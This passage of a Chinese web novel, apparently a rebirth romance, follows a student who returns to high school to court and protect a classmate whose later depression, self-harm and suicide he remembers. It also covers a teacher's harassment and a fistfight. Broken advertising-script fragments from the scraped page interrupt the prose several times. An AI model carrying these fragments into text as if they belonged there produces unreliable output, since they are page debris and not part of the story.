“啊,姜同学,你可以出来一下吗,有点事找你。”宋枝年站在讲台上说,语气带着一些慵懒,着实让人多想。 班上突然发出很整齐的一声“哦~”,起了个大哄。 “我靠,宋哥你玩哪出啊?” “不是,哥你交朋友卡分吗。” “搞错了吧,会不会是班主任找啊?听说这次第一名学期中有个比赛的名额。” 姜可宁愣了愣,面色开始攀上了一点红,椅子腿和地面轻轻摩擦发出一点声音,宋枝年就看着她在窃窃私语中,一步一步地走向他。 在宋枝年的记忆里,姜可宁后来一直在惩罚他,具体表现为一直用背影面对他,侧蜷着身子安安静静窝在床上是她最常见的状态。 所以看着还会对着他害羞的、活生生的、整个人像一块缓慢融化的冰一样的、他曾经短暂拥有过的恋人一步一步向自己走来,宋枝年感到一股极大的庆幸。 他把姜可宁带到走廊边上,往她怀里塞了一个没拉拉链的书包,里面是那两套合适她穿的新校服。 姜可宁眨了眨眼睛,又抬头看看他,“为什么给我这个?” 宋枝年弯了弯唇,“秦主任让我来送的,给月考第一名的奖励。”他想了很久才编出这么个理由。 姜可宁垂了垂眼睫毛,好像不太相信。 “真的,学校你知道的,没有那个心思给学生买礼物,秦主任刚好在办公室翻到两套新校服,就说拿来当作奖品。” “哈哈,他们中年人是挺荒谬的,你别介意,你要是不喜欢,我回去跟老秦说以后别送这个。” 宋枝年比姜可宁高很多,从这个角度看能看到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她黑框眼镜下扑闪扑闪的睫毛和密茸茸的头顶。 姜可宁摸了摸那个书包侧边,上面好像蹭到一点灰,她用手指拍掉了。 “不是,…这个书包,也是考第一的奖励吗?” 当然不是,这个书包是宋枝年在用的,他刚从教室里把自己的东西都倒出来拿来装校服的,他担心姜可宁会在意被同学知道有人送她校服这件事,才拿了个看不出来的书包装。 宋枝年捏了捏耳朵,“啊……是啊,是。老秦还是挺周到的。” 姜可宁不再说什么,点了点头。 突然,她抱着书包抬头,“可是……这次的文科年级第一不是我呀。” 宋枝年没想到这茬,确实,年级第一是隔壁班一个他不认识的人。 他反应了一下,“那怎么了,你比较可爱,就是要有奖励的。” 说这话时宋枝年是凭借着本能,他偶尔会忘记现在跟以前不一样,他还没跟姜可宁在一起。 姜可宁的耳朵尖泛上一层粉红,然后头低低地抱着宋枝年的黑色书包回了教室,书包挺大的,遮住了姜可宁半个下巴。 他看着姜可宁回到座位坐下,又贴着九班的窗玻璃敲了敲,在姜可宁转头看他的时候挥了挥手跟她用嘴型说了“拜拜”。 然后班里就又“哦~”了一声,还有几个没品的在鼓掌。 宋枝年扯了扯嘴角就走了,他余光看见姜可宁的脸已经红到了后脖颈。 15. 宋枝月:“你上次说的是真的吗?” 宋枝年:“什么?我说啥了。” 宋枝月:“追人。追姜可宁。” 宋枝年:“真,比真金还真。” 宋枝月:“为什么,你们以前不是一点交集都没有吗,你知道班里都在传你游戏输了玩什么少爷追人一个月挑战。” 宋枝年:“我靠,放屁吧,凭什么这么说。” 宋枝年:“哪有什么为什么,我喜欢她需要理由吗?” 宋枝月:“谁让你整那么高调,自习课给你拿来调情呢。” 宋枝年:“我那不是、哎,总之,我也不是调情,我不是玩玩的,我不只是追她,我以后还会娶她。” 宋枝月:“……” 宋枝月:“你没救了,妈!你小号练废了。” 宋枝年:“我的姐啊!等你以后谈恋爱了就知道自己是什么死样子,记得大概五年后,千万不要在酒吧里喝得烂醉给我打电话。” 宋枝月:“做梦都不会有这一天!” 5. 第五章 16. 早晨五点半,宋枝年第一次在距离迟到还有很长一段时间的时候起床,其实也不算起床,他根本没有睡着。 一整夜,他都在为自己真的在做梦而担忧,害怕这是姜可宁留给自己的最后一个礼物,害怕一觉醒来他要面对的是姜可宁的后事。 他躺在床上反复思考上辈子错过姜可宁青春的那些点点滴滴,思考到底是什么,让他所爱之人,宁愿舍弃一切,走上无法回头的路。 姜可宁刚生病的时候,他们才搬进新房子不满一个月,还在不停网购各种家用小电器,当时姜可宁抓住了很难得的升职机会,工资翻了一番,一年后还有公派留学的机会,而宋枝年的项目正式落地,前景良好,好像一切的一切,都是那么顺利。 就是这样,没有任何爆发的窗口,仿佛是一夜之间,姜可宁病了。 人这一生,遭受苦难并不可怕,一路泥泞也能挣扎着往前,可怕的是,当一株野草不必再用力汲取养分就能得到生长的肥料时,它回头一看,自己底部的根系早已枯萎。姜可宁不是害怕困难的人,从小没了父母她也坚强地成长为了大众眼中优秀的那一类人,她只是在人生步入顺遂的时候,发现自己剩下的一生都要面对空洞的内心,瞬间想不明白自己努力活下去的理由了。 也许暗恋了宋枝年那么久的她,发现得到爱并不能抚平创伤,就像潮湿的土壤不能开出鲜艳的花,少了就是少了,后面补再多都无济于事。 姜可宁去世前几个月,最常跟他说的话就是“枝年,对不起,我有点累。”“枝年,我刚刚没听见,你能再说一次吗。”“再让我睡一会儿吧,我太困了。” 当时她已经提不起任何精神和力气,每天起床就为了完成一件任务,喂宋枝年给她买的那只兔子吃新鲜的白菜叶。 宋枝年想起来觉得很心酸,他想,会不会喂这只兔子给姜可宁带来更大的心理负担。就像当姜可宁知道他偶尔也会因为失眠开始吃一些褪黑素,会因为心情差在阳台上抽半小时的烟,在姜可宁意识到,在这段感情里,宋枝年也开始消耗自己,她似乎更下定决心要离开。 不愿意亏欠别人的人是不会容忍自己让爱人痛苦的,要强的人不愿意自己的软弱暴露在阳光下,坚决地去死是姜可宁心中最好的归宿。 可是她可能想不到宋枝年爱她的程度很深,想不到宋枝年没了她会很伤心,想不到宋枝年可能会走不出来。 不过没有关系,宋枝年不是轻易放弃的人,不信命的人也能得到上天的帮助,宋枝年这次不会让同样的事情再发生。 他从家里装了一杯豆浆,一壶小米粥,还有红豆包核桃包。这辈子的宋枝年要比这辈子的姜可宁更了解她的口味。 他骑上装了后座的山地车,虽然装了后座有点丑,有些四不像,但是为了老婆,这些都不重要。 宋枝年凭借着记忆找到她舅舅的家,在一条巷子的末尾,是那种老破小的房子,他踩着脚踏车,飞速穿梭在早上嘈杂的街道,秋风吹起他风衣两侧,耳边是摩托车发动和门店拉开闸门的声音。 姜可宁父母去世后,她就跟着舅舅舅妈生活,舅舅一家对姜可宁很差,就跟姜可宁生病没有理由一样,他们对她不好也没有任何理由。 姜可宁曾告诉宋枝年,父母走之后,她就彻底成为这个世界上多余的人,舅妈嫌弃她占用了家里的资源,占用了表姐的生活费,可明明她身上连买一件校服的钱都没有,舅舅是妻管严,在家里说不上话,姜可宁没有靠山又寄人篱下,受什么委屈都揉碎了往肚子里咽。 舅舅一家有什么计划从来不会告诉她,表姐比她早一年上大学,那个暑假,他们一家三口在某天收拾了东西回了老家,后来又到表姐上大学的地方玩了半个月。姜可宁本以为自己也可以过一个清静的暑假了,但是就在第三天她打工回到家的时候,发现家里的灯打不开了,什么电器都没有办法用。 电费没有交。 那天,姜可宁好不容易接到一个小学生的数学辅导,辗转三趟公交车,忍着晕车的难受爬了九楼。上课后,小孩虽然挺配合的,但是没有认真听,刚讲过的题重新写还是错了很多,结束的时候家长进来一看,二十道算术题一半的正确率都没有,就对着她冷嘲热讽。说她不学好小小年纪就想着占小便宜,能力不够就不要来误人子弟,姜可宁家教费还没有到手,忍着没有开口反驳什么。 还好那户人家还是原价付了八十块两小时的家教费,姜可宁出了小区,吐出一口气,拿着八十块钱回了家,在楼下买了一根烤玉米棒,啃了一口发现没完全烤熟。 姜可宁坐在漆黑一片的没有任何温度的地板上,啃着夹生的玉米棒,又把包里爸爸妈妈的照片翻出来,因为没有灯,连照片都看不清楚,只能看到一些微弱的反光。她好像突然真正意识到,自己不会再有家、不会再有爱了,就像断了电的小屋子,一点光亮都没有。 17. 宋枝年在姜可宁家楼下等了十五分钟左右,他把包子放在自己校服口袋里,隔着布料用手捂着,怕被风给吹冷了。 六点半的时候,姜可宁推开铁门,瘦白的手抓着书包带子,齐肩的短发被她下台阶的微风带起,然后,她看见了宋枝年。 宋枝年早有准备,长腿撑着地面,把一只手从口袋里掏出来,朝姜可宁挥了挥。 “姜可宁,早上好。”他说。 姜可宁愣怔了几秒,手在书包带那里揉了揉,又拽了拽校服外套,宋枝年注意到她今天穿了他给她的校服。 她抿着嘴唇走过来,看起来有些紧张,宋枝年突然有些心虚了,他知道姜可宁现在正在暗恋他,但并没有戳破。 “你怎么来了呀? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”她看着宋枝年的眼睛问了一句。 宋枝年以前几乎没有见过姜可宁高中时候的样子,姜可宁皮肤很白,眼睛是圆圆的杏眼,黑瞳仁很大,眼睛特别亮,下巴因为太瘦有点尖,没有表情的时候并不算十分柔和的长相,带着点儿劲劲的攻击性。 这样一个顽强的人如果在爱里长大会不会跟上辈子的结局完全不一样,宋枝年想。 宋枝年笑了一下,“我来给你送早餐。”他又拍了拍自行车后座,“然后载你去学校。” 姜可宁有些惊讶,微张着嘴巴,手指捏着校服裤的布料,“这……也是秦主任让你来的吗?” “不用不用,真的!”她急着拒绝,其实知道这不可能是秦主任叫的,校服也可能不是。姜可宁一方面因为宋枝年真的像班里的同学说的那样,玩游戏输了被迫接近她,另一方面是单纯地出于一名暗恋者的慌乱。 她自以为藏得很深毫无破绽,只是每天专门绕远路过理科班从窗外看他一眼,只是像其他女孩子一样偶尔在操场边看他打球,只是每次都在年级大榜上计算与他的距离,想与他考一样的名次,如果幸运的话,上同一所大学。像这样默默的关注,淹没在人群中,像宋枝年那样受欢迎的人是不会注意到她的,是不会发现的。 “不是老秦让我来的,载你上学,给你带早餐,都是我自己想来的。” “知道了吗?”宋枝年很认真地说,上辈子已经错过了那么多,他并不想再拐弯抹角,曾经他们还没有在一起,谁都不捅破窗户纸的时候,宋枝年因为一点急事拒绝了姜可宁一起吃饭的邀约,她就以为是宋枝年烦她了,忍着后面的一整天都不主动发信息。当时的宋枝年还会有试探的念头,想看看这个姑娘到底是什么态度。 但是,现在他不会了,因为他清楚姜可宁这个人,你只要对她多保留一点,哪怕冷淡一丝一毫,她都能敏感地察觉,然后自顾自地解读出一万种意思,伤心了委屈了也从来不说。她需要的不是没有意义的拉扯,她需要的是,最直接、最坦诚的偏爱。 宋枝年把捂了一路的核桃包递给她,又把保温壶打开,伴随着热气的甜香扑了姜可宁一脸。 “为…为什么呀?”姜可宁的手里全是宋枝年塞给她的东西,好像再多一点就要拿不稳了。 宋枝年帮她把校服衣领一点翘起来的地方压平了,缩回手的时候不小心碰到她脖颈的一点皮肤。 “没有为什么,我不是说过了吗,我关心你啊。” “哦,你要早一点适应我的关心,未来的每一天,只多不少。” 那天,姜可宁坐在宋枝年的山地车后座上,一只手拽着他的风衣下摆,一只手拿着保温壶小口小口地喝着温热的豆浆,风有点大,吹得她脑袋晕晕乎乎的。 耳边好像不断重复着宋枝年的一句话:未来的每一天,只多不少。 6. 第六章 18. 附中的第二节下课,会有一个大课间,二十五分钟,跑操,文理科轮流,一天文科班下去操场跑操,一天是理科班。 宋枝年一到教室里就感觉到困了,昏昏沉沉用手撑着下巴坐着眯了两节课,直到听见跑操的音乐声。 今天是文科班跑操,宋枝年突然想起来,姜可宁大学时体测跑八百米的场景,她体能很差,跑一次八百米能要半条命,但我们姜可宁是不服输的人,虽然有提前两次练一遍,真到了要跑的时候还是不行。 因为他们大学拿奖学金的要求里有一项是体测成绩大于等于八十分,姜可宁的体育并不好,万一八百米这一项一不小心不及格,那肯定没有八十分。 姜可宁还找了很多方法,比如边听歌边跑,数着数字打拍子跑,作用算是聊胜于无,该累还是累,该跑不动还是跑不动。 姜可宁跑步差这事其实不是她告诉宋枝年的,是宋枝年自己知道的,因为当时学校表白墙上有人晒了姜可宁晚上在操场练跑步的照片,在打听她有没有男朋友。 但宋枝年的关注点并没有放在情情爱爱上面,当然他也没有吃醋和什么危机感之类的。 他只是在自己在真草场测完了自己的一千米之后,马不停蹄地跑到女生体测的假草场,花了几秒钟找到在热身的姜可宁,牵着她的手腕带着她跑完了全程。 那天是挺累的,不过当晚两人的照片都上了表白墙也不算亏,是一张合照。 所以宋枝年想到这里,就往楼下赶,但是这次他没有立刻发现姜可宁,找了很久都没看见她。 正当他正怀疑自己是不是近视了还是雷达不准了连老婆都发现不了,他看见操场后面一个白色的小房子旁边有一只没有藏好的手,还有几缕头发时不时晃来晃去。 宋枝年凭着本能绕了远路穿过跑操的队伍到那个喷了白漆的器械室后面。 这倒是他没想到的,姜可宁躲在器械室的后墙边,肩膀抵着一侧墙壁,头侧着看操场上的人跑完没有,稍微有人看过来了就缩回去,像一只鬼鬼祟祟的兔子。宋枝年站着看了一会儿,然后走近点拍了拍她的肩膀。 姜可宁吓了一条,猛地回头,手不知怎的跟认错一样举到眼睛的位置,在看清楚是宋枝年之后仿佛受到了二次惊吓,错愕地瞪大了眼睛。 宋枝年最近一直在忍,忍着跟姜可宁保持着礼貌的社交距离,谁面对着自己的女朋友能做到不抱不亲的,宋枝年可以。 所以他忍住想捏一下姜可宁脸的冲动,弯了一点腰,轻轻碰了碰她有点发红的鼻尖。 “怎么不老实啊,小姜同学。”宋枝年笑着说。 “宋枝年,你怎么在这啊?”姜可宁逃跑操被抓包了,有点懊恼又不好意思地低了低头。 “来抓你啊。”宋枝年没忍住就想逗她。 他知道姜可宁骨子里不是那种特别守规矩的人,是因为环境让她不得不收敛自己的个性、隐藏自己的棱角,失去父母让她没了随心所欲的底气,所以慢慢地,她被命运裹挟,失去自己的光彩。 但是她知不知道,现在逃跑操,以后大学体测会更累啊,不过没关系,现在和以后都有宋枝年。 19. 器械室的墙边。 宋枝年:“为什么逃跑操?看你这熟练程度,不是第一次了吧?” 姜可宁:“对不起。” 宋枝年:“对不起什么?我只是问问。” 姜可宁:“你一定觉得我是不诚实的人吧。” 宋枝年:“不至于,你什么样的我知道,再说了,这种事情谁没干过。” 宋枝年:“我只是好奇,你应该不是爱偷懒的人。” 姜可宁:“…我们班新来代体育课的老师,…我有点怕看见他。” 宋枝年:“谁?!” 这件事情不在宋枝年的记忆当中,姜可宁没有跟他说过一丝一毫,宋枝年突然意识到,从前他不在姜可宁身边的那些时刻,总是会有人不着痕迹地给她带来创伤,而这种种的一切,就像石子路上的尖刀,最终摧毁了一个疯狂赶路的人,同时摧毁了宋枝年的内心。 宋枝年没有问得非常明白,姜可宁不是容易向别人倾诉的人,更不是那种懦弱到毫不反抗的人,肯说出来,还花心思在躲,那事情绝对严重到了一定的程度。 如果是十八岁的宋枝年,他也许会当作打抱不平把那个心思不正的代课老师暴打一顿,但他现在拥有着一个成熟男人的心智,冲动并不能彻底解决问题,让姜可宁顺利地消除阴影,打架不是一个最佳的方法。 宋枝年花了一天的时间跑了好几个办公室,跟熟悉的老师吹水,打听到了那位代课老师的来头,那个死人叫王文凯,初中辍学,走了好大的后门进来附中当代课老师,这学期刚代姜可宁他们班。 姜可宁下节体育课就在下午第一节,宋枝年中午跟班主任请了假,说要回家一趟。他成绩好,会说话,平时也没怎么请过假,班主任很轻松就批了假。 再然后,文科九班的所有人,就在自己班里的体育课上,看见了一个宋枝年,他也没排进班级队伍里,而是在队列距离几米处的梧桐树下,指尖夹着一根狗尾巴草,也不说话,就双手叉着放在胸前靠在树上,表情有些严肃,但眼神偶尔又会突然变得温柔。 姜可宁早就看见他了,在后排右边的位置偷瞄了宋枝年很多次,她不知道宋枝年为什么这个时候会在操场,难道也是来抓她的吗,因为她正准备找机会溜上楼。 上课铃响大概五分钟后,那位代课老师扯着裤腰姗姗来迟,宋枝年也没干什么,在一旁看着他带着全班做了一组准备运动,又做了几组仰卧起坐。 最后一组做完的时候,王文凯的眼神往姜可宁那边瞟了一下。 “来,那边那个女生,来帮我、” “老师,我来帮。”宋枝年在后面喊了一声,打断了他的话。 姜可宁愣了一下,眼神从脚尖挪到了宋枝年身上,她看见宋枝年没等他说好就自顾自收好了仰卧起坐的软垫子,然后走到老师旁边。 宋枝年大概有一米八多,站在那个老师旁边都很高。 “老师,以后搬东西这种事,就不要麻烦女孩子了吧,我看这垫子这么轻,你一个人搬绰绰有余啊。” “难不成,本事小,力气也小吗?” 他音量不小,这话一说,有很多不明所以的人小声讨论起来,不知道宋枝年和这位新来的老师有什么过节。 姜可宁觉得后脑勺有些发冷,她隐隐约约怀疑有可能是因为她说的话,宋枝年想为同学打抱不平,才跟那个老师起了冲突。 姜可宁曾撞见过王文凯在校长办公室里喝茶,关系看起来很亲密。她有点担心宋枝年,跟老师起冲突很可能会背处分。 她不知道这世界上的人大多都吃软不吃硬,只要你表露出一些些的迟疑和忍让,对方都会吃死这一点。 王文凯不知道宋枝年是从哪里冒出来的,他又往姜可宁的方向瞄了一下,心里觉得有些可惜,被一块难啃的骨头缠住了,坏了好事。 宋枝年也看姜可宁,不过他没有偷偷摸摸,他用手戳了戳自己的嘴角,然后弯了弯,有指了指姜可宁,姜可宁反应了一瞬,意会他的意思,幅度很小地笑了一下。王文凯看到了这一幕。 进到体育室的时候,王文凯点了一根烟。 “喂,小屁孩,那个妞是你女朋友吗?” 宋枝年把垫子放下,睨了他一眼,“嘴巴给我放干净点。” “嗤,你都当众让我下不来台了,还在这跟我装好人呢,我看得没错嘛,她看起来清纯,其实 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 骚得不行,到处勾搭男人,你年纪小,容易上头,我、” “砰”地一声,宋枝年一拳砸过去,力道很大,王文凯整个人撞上了柜子,掉下来一堆羽毛球。 “喂!” “我靠你有病吧。”王文凯捂着嘴角,手撑着地板。“你小子你给我等着。” 宋枝年居高临下看着他,从口袋里拿出一支录音笔,他没想到他都没开始套话,这个人就自己把不该说的说了。 “我等着啊,校长的侄子是吧,很牛是吧,你去试试,看看学校护着你这种渣滓还是护着学生。” “还有,你,以后一次都不准看姜可宁,让我发现一次打你一次,我说到做到。” 王文凯不知道现在高中生是这个样子,自己也知道事情失控了,不敢多说什么。 “对了,要告状先认得我是谁,我叫宋枝年,高三理科第一,年级大榜上有我的个人信息,欢迎观看,有仇来找我报。” 宋枝年用力踢了脚边一块歪斜的绿色垫子,把垫子踢到王文凯脸上,理了理领子出了体育室。 然后在门口看见了姜可宁,她的眼睛有些湿润,眼尾微微泛了点红,宋枝年不知道她站了多久,听到多少,有点心慌地牵着她的手腕往前走。 然后宋枝年听到了一声,“谢谢你。” 20. 宋枝年没说什么,带着姜可宁上楼,走到走廊边的时候,姜可宁的手腕突然挣扎了一下,他心里一紧,回头一看,姜可宁整张脸都是白的。 他赶忙停下,手贴了贴姜可宁的额头,“怎么了,那里不舒服。” 姜可宁摇了摇头,“没,突然有点头疼。” 头疼?偏头疼吗。仅仅一瞬,宋枝年就回忆起姜可宁确诊之前最明显的躯体症状,就是头疼,疼得最厉害的时候,她会浑身冒冷汗,整个人在晕厥的边缘,后期吃止疼片也不管用,只能靠宋枝年给她按太阳穴缓解一些,宋枝年怀疑其实按太阳穴也没有,是姜可宁那个小骗子怕他担心骗他的。 原来从高中开始就有这个倾向了吗,宋枝年感到害怕和心疼,眉头都皱起来,顿时有些不知所措,跟上辈子看着她生命消逝的过程一样无助和恐惧。 姜可宁看他半天没有说话,伸手扯了扯宋枝年的衣角,“没事了,现在好多了,可能是刚刚有点忘记呼吸了。” 宋枝年扶她回班里坐着,其他人现在还在楼下自由活动,附中学习的氛围不错,属于劳逸结合的那一种,老师们也不会给太大压力,所以并没有十年后那种内卷的风气,在休息的时候不会有人想着学习。 宋枝年忙前忙后,冲了一杯糖水让姜可宁喝完,又把自己的外套脱下来叠成枕头让她休息一下。 宋枝年后知后觉,姜可宁上学的时候不懂得好好照顾自己,每天都睡眠不足,又因为舅妈给的生活费实在少得可怜,午饭偶尔不吃,再加上她周末还会出门找兼职给自己凑上大学的学费,还在长身体的年纪就操心无数事情,把体质给熬坏了。 宋枝年趁姜可宁睡着,偷了她的饭卡到食堂充了五百块钱,又担心姜可宁一根筋不肯花,磨了管充值的阿姨很久,让她把姜可宁饭卡前台的余额改成了原来的数字,这样她刷卡,看到显示屏上的就是自己原来卡里的钱,只要不仔细去算,应该就不会那么容易发现。 路过学校便利店的时候,宋枝年又到里面买了一箱牛奶,一大袋小面包,还有一盒夹心水果糖,全部都放在姜可宁座位旁边和桌格里。 宋枝年在她醒来的时候已经回班了,留下一张便签纸—— 前几天帮便利店老板打麻将赢了很多钱,他遇到我,给我塞了一堆东西,我不爱吃甜的,就放在你这里,一定帮我解决哈!日期没有很久了,早点吃完(这是任务) 2014.11.7宋枝年 7. 第七章 21. 放学的时候,宋枝年还在写这几天积攒的卷子,他高中虽然成绩好,但也不是白来的成绩,学还是要学一下的。再说了他距离高考已经过去太久了,大学都毕业几年的人了,学习的整个系统都跟高中不一样,记性再好也要有缓冲的时间来唤醒,要保持住排名才能跟姜可宁上同一所大学。 宋枝年的座位在教室最后一排的靠窗位置,他正做到一道有些棘手的数学题,读了几遍题找不太到什么下手的切入点。 宋枝年靠在椅背上,一只脚稍微翘起,踩着桌杠,没有声音地控制着椅子腿腾空,再一下一下敲地面。 教室里面空了一半,窗帘偶尔被风吹得鼓起,蹭到宋枝年的桌角边缘,指尖上旋转的笔一个没注意,掉在了桌面上。 突然,鼻息间窜进一阵刻进习惯中的淡淡的香味,洗白到手腕伸到他面前,指尖点着卷子上的某一处,宋枝年怔怔地扭头,看见姜可宁没戴眼镜的脸,她眼尾的地方有一颗黑色小痣,趁得她整个人更加精致清冷。 “这里…好像有一个附加条件。”姜可宁说。 宋枝年没舍得回头看题目,他看着姜可宁小鹿般亮闪闪的眼睛,脸颊两旁可爱的小凹陷,一张一合的嘴唇。 椅子腿滞空太久,没有预兆地砸向地面,像宋枝年重重的心跳声,他拿起了笔,喉结上下滚动了一下,在刚刚姜可宁指的地方画了一条黑色的下划线。 傍晚的风穿堂吹进空荡的教室,未经允许把课桌上的课本和试卷吹得翻了页,发出沙沙的声音。 姜可宁先开了口,递过来一个创可贴,上面印着一只卡通版的粉色小兔。“你的手背,有一道小伤口,我下午看到有点流血了,贴一下吧。” 宋枝年顿了顿,看了一眼自己的手背,确实有一道血红色的划痕,他没有发现。 他点了头,说好。 他看着那枚创可贴覆盖在自己浅浅的伤口上,上面那只小兔子让他想起从前。 姜可宁从小到大都喜欢这个图案的创可贴,他们在一起之后,她会在家里囤几盒,因为那段时间宋枝年偶尔会跟朋友约着滑雪,小磕小碰是常有的事。但是这些创可贴,最后大部分却是姜可宁在用。 宋枝年清楚地记得,有次他用小刀切了水果给姜可宁吃,小刀忘在了果盆里,他清理完厨房出来的时候,看见姜可宁正拿着小刀在自己手腕内侧比划,姜可宁一看见他,就心虚地松了手,冰冷的刀尖落到大理石地面,哐当一声,像一座大山一样就这样从宋枝年的心里生出来,从此便横亘在那。 那是第一次他亲眼看见姜可宁有伤害自己的想法,后来她时不时就会拿尖锐的东西给自己来一下,完全控制不住自己的行为。清醒过后她也会心虚,知道自己做错了事情,就会拿小兔子创可贴贴住伤口不让宋枝年发现。但怎么可能瞒得住呢? 一个人如果已经到伤害自己身体的地步,那么他的心必定已经渗了很久的血。 病痛、贫穷和爱是隐藏不住的。年少时的姜可宁要强地努力隐藏自己穷苦的困境,打最多份工,睡最少的觉,只为给自己更好的生活。物质条件充足后,姜可宁又开始隐藏自己内心的伤痛,想把什么情绪都像从前一样嚼烂了咬碎了咽下去,但这次没有如她的意,积攒许久的不快乐如洪水猛兽般反扑她的内心,势不可挡地把宋枝年所爱之人拽进深渊。 宋枝年也只是一个再平常不过的、想跟恋人过平淡生活的、想跟恋人互相依偎着慢慢走过漫长岁月的普通男人。眼睁睁看着姜可宁越来越消沉,昙花一现般九点过后就迅速枯萎,就像一场没有时限不用招供的酷刑,每天剜走他心脏的一小块,他也会痛,也会难过,也会自责。 所以在某次下班回家,宋枝年看着姜可宁呆滞地坐在饭桌前,他出门前做好的饭她一口都没动时,宋枝年也会产生一些疲惫的情绪。但在姜可宁转头看他的一瞬,宋枝年看见她脖颈处贴了三四个小兔子创可贴,他血液直冲上头,第一次在姜可宁生病之后情绪失控。 那天宋枝年没有像往常一样摸一摸姜可宁的头,再给她一个拥抱。而是拿一个厚实的袋子,把家里所有危险的东西装好,厨房的刀叉、书房的裁纸刀、客厅里的陶瓷瓶,宋枝年收了很久,全程一言不发,那天,他拉着三个大袋子,把这些他视作危险的东西扔进小区的垃圾桶。仿佛这样,危险就可以远离姜可宁了。 他没有立刻上楼,而是在楼下的草丛边抽了很久的烟,宋枝年没有烟瘾,但那段时间确实越抽越多。重新打开家门的时候,姜可宁跑过来抱住他的腰,抬起眼睛的时候宋枝年看见她眼底的一片红。 心疼吗?当然。无助吗?肯定的。放弃吗?永远不可能。当你深爱一个人,即便知道她一定会离开,依旧会用尽全力,无论身处哪个轮回、哪个世界。 22. 上辈子宋枝年遇到姜可宁的时候她已经竖起坚硬的屏障,不会轻易向外界走出一步,即便是对自己喜欢的人。她只安安静静地守着自己的一方天地,麻木地适应着无穷的孤独。事实上这一方天地也不是那么舒适,但她太害怕受伤了。 所以当宋枝年在自己教室门口看见姜可宁的时候,看着她主动帮他贴创可贴的时候,突然有一种想流眼泪的冲动。 “走,一起去吃饭。”宋枝年清了清嗓子说。 姜可宁又愣住了,好像在她眼里跟宋枝年一起去食堂吃饭是一件值得惊讶的事情。 “啊?我们吗?” “是啊,我跟你,我们。”宋枝年说。 姜可宁眨了眨眼,没有说话,宋枝年在她的黑色瞳仁里看见了自己。 “怎么啊?不愿意吗?”宋枝年问。 “没……没有。”姜可宁连忙否认。 “哦,那就是很想要和宋枝年一起吃饭咯。”他没好气地说。 姜可宁彻底梗住了,僵在了原地,承认也不是,否认也不是,只能任由缓慢变红的脸替她默认了这句玩笑。 23. 宋枝年扶着姜可宁的肩膀,两人一前一后下楼,又一起进食堂,一路上有不少人认出了宋枝年,跟他打招呼。还有一些牵着手一块儿走的女孩子往他们身上看,似乎在议论什么。 “枝年,最近怎么没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来打球了。” 宋枝年:“忙着呢。” “诶!宋哥,你以前不是不在食堂吃的吗?” 宋枝年:“哦,现在吃了。” “宋枝年!” 宋枝年:“我靠,姐!” 24. 宋枝年单独跟姜可宁吃饭的机会就这么被他姐给破坏了。 但他还是没有考虑到一个问题,他虽然很少来食堂吃饭,以前都是跟朋友到校外几个饭馆吃,但他也知道附中的食堂有两个,一个小一点,一个大一点。 小食堂只有一层楼,都是自选菜,大食堂有两层,烧腊、盖浇饭、意面、铁板,还有小火锅什么的,跟大学食堂没什么两样了。 姐姐宋枝月并不知道姜可宁的家境,宋枝年也没注意,就这么跟着宋枝月把姜可宁带到那个她一次都没来过的食堂。 宋枝年让姐姐和姜可宁先去找位置,然后自己一个人去档口排队,宋枝月和姜可宁的口味他都知道,不用问就知道点什么。 女孩子之间比男生方便一些,宋枝年一走,宋枝月就挽住姜可宁的胳膊,跟她挨在一起走。 上辈子宋枝月第一次见姜可宁的时候是在家里,她和宋枝年大学没在一个地方,时常凑不到一块儿上学回家。他们爸妈在儿女上大学后正式退居二线,当时正在西班牙度假。 那天她改签了机票忘记通知宋枝年,自己打了车回家,一进门看见一个陌生的穿着家居服的年轻女孩儿,宋枝月又看了看周围,是自己家没错,然后她看见自己没下过厨的弟弟,穿着围裙,一只手拿着锅铲,另一只手拎着一瓶酱油走出来。 没见过姜可宁之前,宋枝月认为宋枝年这种潇洒自在,追求自由的人肯定会找那种叛逆一些的女孩儿,能跟着他一块儿疯玩、居无定所,活在当下。 反正肯定不像姜可宁这种安安静静,眼神像湖水一样平的女孩。 念高中的宋枝月跟从前的她一样,好奇为什么弟弟为什么会喜欢这种类型的女生。 她跟姜可宁找了位置坐下,又起身到旁边的冰柜里拿了两瓶椰汁,给姜可宁插上了吸管递给她。 “你好啊,我叫宋枝月,是宋枝年的双胞胎姐姐,哈哈,我们的名字只差一个字,爸妈说万一当时有第三个小孩,就取名叫宋枝日,年月日。” 如果宋枝年在场的话,他就会发现,他姐这辈子跟姜可宁说的第一句话,跟上辈子差别不到两个字。 姜可宁被她逗笑了,宋枝月性格很好,给人的感觉自在又随意,跟宋枝年很像,姜可宁拿着椰汁,没那么局促了。 “宋枝年没使唤你做这做那吧?” 姜可宁马上摇头,“没有的,他帮我很多。” 宋枝月笑笑,“那就好,宋枝年这个人有点三分钟热度,又不会疼人,偶尔还傻乎乎的,没吃过苦什么也不会。” “他要是惹你生气了,你就来跟我告状,虽然我只比他早出生一小时,但教育弟弟是做姐姐的义务。”宋枝月说。 姜可宁听着觉得有点不对劲,但也说不上哪里怪,只好摇摇头,又点头,说了好。 8. 第八章 25. 周五那天下晚自习的时候,宋枝年已经骑着车在学校大门口等姜可宁了。 “姜可宁,这里!” 附中并不在市中心,2014年的城市并没有十年后那么灯火通明,道路还有些坑坑洼洼,治安也不算好,偶尔会有喝醉的酒鬼或者偷电瓶的贼在附近转悠。 宋枝年曾经在某次跟姜可宁的聊天中得知,她每天都要走夜路回家,老旧的居民楼在晚上十点左右已经没有很多灯了,姜可宁的防范意识并不弱,她每天都会在口袋里攥着一块刀片走回家。 “当时挺傻的,现在想起来也就是给自己心理安慰,万一真遇上坏人了,一块刀片能有什么用呢?” 姜可宁说起这些的时候并不是在诉苦,她从来没有诉过苦,她只是像在讲故事一样,靠着宋枝年的肩膀用开玩笑的语气讲出这些曾经让她紧绷了一个个日夜的事情。 幸运地没有在夜路遇上过奇怪的人是没错,但是这种隐约的恐惧和不安久而久之占据了姜可宁精神的一角,侵蚀她的勇气,让她再也无法放松下来生活。 